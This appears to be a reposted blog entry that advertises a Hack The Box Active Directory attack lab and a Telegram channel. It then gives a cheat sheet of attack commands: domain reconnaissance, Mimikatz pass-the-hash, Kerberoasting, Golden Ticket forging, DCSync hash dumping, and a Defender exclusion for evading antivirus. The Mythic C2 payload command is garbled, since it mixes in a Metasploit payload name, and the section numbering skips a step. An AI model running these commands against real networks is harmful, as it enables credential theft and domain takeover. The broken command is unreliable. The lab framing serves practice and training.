Hack The Box VIP Account Access & Active Directory Attack Lab Guide

In the video below, the method of accessing and purchasing a Hack The Box VIP account is explained. Additionally, for one of the friends who solves the Active Directory Attack challenge, an account will be provided by me. The details of the AD Attack Lab are as follows, and upon solving the challenge, your IranianCard account will be charged by me (currently for one friend only).

Lab Scenario Based on SANS 565 (With Lightweight Lab)

The lab includes:

Windows Server 2019 as Domain Controller (DC)
Windows Server 2019 as IIS Web Server
Windows 10 Client
Kali Linux

Attack Phases Covered:

1. Internal Recon using tools like:

PowerView
AD Module
Bloodhound (Python)
Sharphound

2. Bypassing Defender AV via Mythic C2

Lateral Movement across AD clients using Mythic C2

4. Attack Implementation including:

Pass-The-Hash (PTH)
Persistence via DNSAdmin
Kerberoasting
DCSync Attack
Golden Ticket Attack
Silver Ticket Attack
Exploiting ACLs
Dumping LSASS via Defender Vulnerability (NTL Hash Extraction)
SOC Bypass via Red Teaming Techniques

Additionally, one of the SOC evasion scenarios will be explained.

The lab setup will be explained in the following Telegram channel within a week:
🔗 https://t.me/soc_hunting

You Should Know:

Essential Commands & Techniques for AD Attacks

1. Internal Reconnaissance

PowerView (PowerShell)

Import-Module .\PowerView.ps1 
Get-NetDomain 
Get-NetUser | Select-Object samaccountname, description 
Get-NetComputer | Where-Object { $_.operatingsystem -like "Windows Server" }

BloodHound & Sharphound (Data Collection)

Run Sharphound Collector (Windows) 
.\SharpHound.exe -c All -d domain.local --zipfilename output

BloodHound Python (Linux) 
bloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c All

2. Bypassing Defender AV

Mythic C2 (Command & Control)

Generate a payload 
./mythic-cli payload create -t windows -p "meterpreter/reverse_https" -l 443

3. Lateral Movement

Pass-The-Hash (PTH) with Mimikatz

sekurlsa::pth /user:Administrator /domain:domain.local /ntlm:HASH_HERE /run:cmd.exe

4. Kerberoasting

Using Impacket’s GetUserSPNs

python GetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request

5. Golden & Silver Ticket Attacks

Mimikatz Golden Ticket

kerberos::golden /user:fakeadmin /domain:domain.local /sid:S-1-5-21-... /krbtgt:HASH /ptt

6. DCSync Attack

Using Mimikatz
```
lsadump::dcsync /user:domain\krbtgt 
```

7. SOC Bypass Techniques

Defender Exclusion Bypass (Powershell)

Add-MpPreference -ExclusionPath "C:\Temp"

What Undercode Say

Mastering Active Directory attacks is crucial for both Red & Blue Teams. The techniques discussed here, from Kerberoasting to DCSync, highlight critical AD misconfigurations. Practicing in HTB labs helps refine these skills. Always ensure ethical hacking compliance when testing.

Expected Output:

Successful Kerberoasting yields TGS tickets for cracking.
Golden Ticket grants persistent domain admin access.
DCSync extracts NTLM hashes of all domain users.

Prediction

With increasing AD security awareness, expect more AI-driven anomaly detection in SOCs, making stealthier attacks like Mythic C2 and ACL abuse more prevalent.

🔗 Relevant URL: https://t.me/soc_hunting

References:

Reported By: Hassan Sohrabian – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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